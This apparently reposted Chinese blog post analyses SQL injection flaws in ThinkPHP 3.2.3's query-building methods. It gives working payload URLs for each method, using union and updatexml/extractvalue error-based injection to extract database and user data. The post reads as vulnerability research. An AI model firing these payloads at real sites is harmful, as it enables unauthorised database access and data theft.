前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >最全thinkphp 3.x sql注入分析

最全thinkphp 3.x sql注入分析

作者头像
红队蓝军
发布2022-05-17 17:57:34
1.4K0
发布2022-05-17 17:57:34
举报
文章被收录于专栏:红队蓝军

1.1where注入

入口:

代码语言:javascript
复制
public function index($id=1){
$name = D('User')->where('id='.$id)->find();
print_r($name);
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 where SQL注入</h2><p></p>');
}

老样子,直接跳过D方法

进入find方法:

可以发现option中没有我们要的内容,我们进行调试看看内容是从那里得到的

进入_parseOpetions函数

可以看到,这里将两个数组进行了拼接

再次来到select函数,但是where相比之前find方法的sql,where变成了数组,而非字符串,因此后面调用中应该会在不同的条件

来到buildSelectSql函数

进入parseSql,在这里我们就直接分析parseWhere函数了,因为options我们没法像find函数sql注入一样,通过控制options来执行其他的函数

进入parseWhere函数

进入parseThinkWhere函数:

再看返回值:

可以发现在两边使用了()合并 因此最终形成的sql语句为:

payload:

http://localhost/?id=-1)%20union%20(select%201,2,user()

当然当没有回显时,可以使用报错注入:

payload:

http://localhost/?id=1)%20and%201=(updatexml(1,concat(0x7e,user(),0x73),1)

1.2 exp注入

代码语言:javascript
复制
public function index(){
$User = D('User');
$user = $User->where($_GET['id'])->find();
var_dump($user);
}

where注入和exp注入的区别在于,exp中的where函数内容必须完全可控,因为需要传入二维数组

进入where函数

where函数执行后,进入find函数

在这里只关心:

进入_parseOptions函数:

作用就是拼接数组并返回给$options

可以明显看到区别,find注入options为字符串,而where注入options为一维数组,在这里exp注入options为二维数组可以想象,后面执行的流程一定会有区别_parseOptions函数执行完后,进入select函数:依旧是这个地方生成sql语句,重点关注,进入buildSelectSql进入parseSql:又回到拼接的位置了和where注入一样,只能控制options[where],因此直接看parseWhere函数:重点关注这个地方,因为只有在这里才汇编whereStr和options的内容,这里可以自己观察

进入parseWhereItem函数

没有任何作用,跳过,进入parseWhereItem函数

在这里将$exp赋值为exp,为后面语句执行创造了条件

最终在这里进行了拼接:

最后返回的内容也没有发生变化

paylaod:

http://127.0.0.1/index.php?id[Id][0]=exp&id[Id][1]==-1%20union%20select%201,2,database()

值得注意的是当客户端使用的I函数来进行获取参数是就无法sql注入了

下面分析原因: 直接来到I方法

代码语言:javascript
复制
public function index(){
$User = D('User');
$user = $User->where(I('get.id'))->find();
var_dump($user);
}

下面分析原因: 直接来到I方法 关键在于倒数第二句

最后导致parseWhereItem中条件匹配不了

最后触发报错

1.3 bind注入

代码语言:javascript
复制
public function index()
{
$User = M("User");
$user['Id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

进入where方法:

进入save方法:

重点在update方法:

在这里生成结果 进入update方法: 重点在于这个sql语句如何构造,因此直接看sql这个变量经过了那些处理

进入parseSet方法

构造完成的语句,:0相当于一个占位符,后面会被替换成另外一部分sql语句

明显是生成了sql语句的前半段 进入parswhere方法:

记住这里的$val后面还会用到

返回值与whereStr这个变量,我们直接分析whereStr这个变量的变化就行

直接看这里,其他都不满足条件没有运行 进入parseWhereItem方法:

直到这里已经形成了sql语句的后半段 parswhere的返回值

然后就组装成里一个完整的sql语句,后面就只需要替换 0: 就行

在return之前sql语句都没有变化,那说明在最后return的时候将sql语句进行了处理

进入execute方法:

代码语言:javascript
复制
$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

在这里用的是数组,下面给了一个例子

最终效果: 就是将:0转换成""

paylaod:

http://127.0.0.1/index.php?id[0]=bind&id[1]=0%20and%20updatexml(1%2cconcat(0x7%2cuser()%2c0x7e)%2c1)

1.4 select/delet注入

select/delet和find注入原理是一样的:

只是delet需要使用报错注入

代码语言:javascript
复制
public function index($id=1){
//$name = D('User')->find($id);
// $name = D('User')->select($id);
$name = D('User')->delete($id);
print_r($name);
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 find SQL注入</h2><p></p>');

}

1.5 find注入

第一步: 先分析用where数组实现sql注入的执行流程:(当然漏洞步骤where数组这一处)

代码语言:javascript
复制
public function index($id=1){
$name = D('User')->find($id);
print_r($name);
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 where SQL注入</h2><p></p>');
}

这里打印出了数据库名

第二步:

找到漏洞触犯点,缩小位置: 进入函数:

进入了D函数,但我们找到,D函数是实例化一个对象,因此本身和sql注入没太大关系,直接跳过

跳过D函数后,来到了find函数:

find函数可以传入数组,这十分关键,继续再find函数中找漏洞点

可以看到有一个resultst的变量,很可能是sql执行的结果,且还会处理options这个数组,可能性很大

可以看到buildselectsql函数也回处理options数组,而且顾名思义应该是构建sql语句的地方,我们都知道sql注入也就是改变sql的语法结果,因此这应该是十拿九稳了

可以看到这个已经生成了一个名为sql的变量,跟进这个方法

可以发现这个str_replace函数的参数可以为数组

这里我们再看看这个$sql的初始值,这里就tp的sql执行流程其实就一目了然了,就是将每一个sql语法位置进行替换成完整的sql语法

分析函数:

1.parseTable函数分析:

我们知道php可以用数组传参数,当然也可以使用二维数组,实验如下:

因此这里我们parseTable的返回值我们就可以控制了:

在这里我们并没有使用where也能进行sql注入,说明parseTable函数也存在漏洞

payload:

http://localhost/?id[table][user%20where%201%3d2%20union%20select%201%2cdatabase()]=,3

2.parseDistinct

接着我们分析parseDistinct函数:

可以看到已经被三元表达式写死了,因此parseDistinct不存在漏洞

3.parseField

依旧可控

payload:

http://localhost/?id[field][database()]=#

看到这个payload就感觉更离谱了这都行。。。。。

至于这个语法结构怎么爆数据,本地测试就明白了

4.parseJoin:

老样子,依旧可控

payload:

http://localhost/?id[join][naihe]=where%201=2%20union%20select%201,database(),2

5.parseWhere:

过滤都无效:

当使用数组传参时会直接将数据进行拼接

http://localhost/?id[where]=id%3d-1%20union%20select%20database()

6.parseGroup

payload:

http://127.0.0.1/index.php?id[group]=id%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

7.arseHaving

payload:

http://127.0.0.1/index.php?id[having]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

8.parseOrder

返回值可控

payload:

http://127.0.0.1/index.php?id[order]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

9.parseLimit

看似可控,但是由于在find函数中已经写死了limit的数值因此不可控

10.parseUnion

可使用二维数组:

payload:

http://127.0.0.1/index.php?id[union][0]=select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1)%23

11.parseLock

无法利用

12.parseComment

看似无法利用,其实limit后面还可以跟其他语句 利用procedure analyse来进行注入,只能使用extractvalue 和 benchmark。可以进行报错注入

payload:

localhost/?id[comment]=*/ procedure analyse(extractvalue(rand(),concat(0x3a,user())),1) /*

13.parseForce

写死了,无法利用

总结:

1.6 order by注入

public function index(){data = D('user')->order(I('action'))->select();var_dump(

payload:

http://127.0.0.1/index.php?action[updatexml(1,concat(0x3a,user()),1)]

前面分析和find注入一样

1.7 alias,join,union,order,group,having,comment方法注入

1.group

代码语言:javascript
复制
public function index(){
$data = D('user')->group(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

先看__call方法

将$this->options[group]赋值为(1=updatexml(1,concat(0x7e,user(),0x7e),1))

直接进入select方法:

重点:

进入_parseOptions

后面紧接着的就是select方法

在这里可以看到$options已经变成了数组,且内容为group="(1=updatexml(1,concat(0x7e,user(),0x7e),1))" 后面的分析就和之前的find九类注入分析一样了,因为后面的流程一样,可以参照find的group注入

2.order

代码语言:javascript
复制
public function index(){
$data = D('user')->order(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

3.having

代码语言:javascript
复制
public function index(){
$data = D('user')->having(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

4.union

代码语言:javascript
复制
public function index(){
$data = D('user')->union(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=(select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1))

5.join

代码语言:javascript
复制
public function index(){
$data = D('user')->join(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=(select%201,2,updatexml(1,concat(0x7e,user(),0x7e),1))a

6.alias

代码语言:javascript
复制
public function index(){
$data = D('user')->alias(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=where%201=updatexml(1,concat(0x7e,user(),0x7e),1)

7.comment

代码语言:javascript
复制
public function index(){
$data = D('user')->comment(I('action'))->select();
var_dump($data);
}

payload:

http://127.0.0.1/index.php?action=*/%20procedure%20analyse(extractvalue(rand(),concat(0x3a,user())),1)%20/*

8.聚合方法

代码语言:javascript
复制
public function index(){
$data = M('user')->count(I('count'));
dump($data);

payload:

http://127.0.0.1/?count=id,user()

处count以外max、min、avg、sum原理基本一样

9.setInc

代码语言:javascript
复制
public function index(){
$User =D(user);
$User->where('Id=1')->setInc('password',I('add'));
}

payload

http://127.0.0.1/?add=123%20-%20updatexml(1,concat(0x7e,user()),1)

后面的分析和exp注入差不多

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档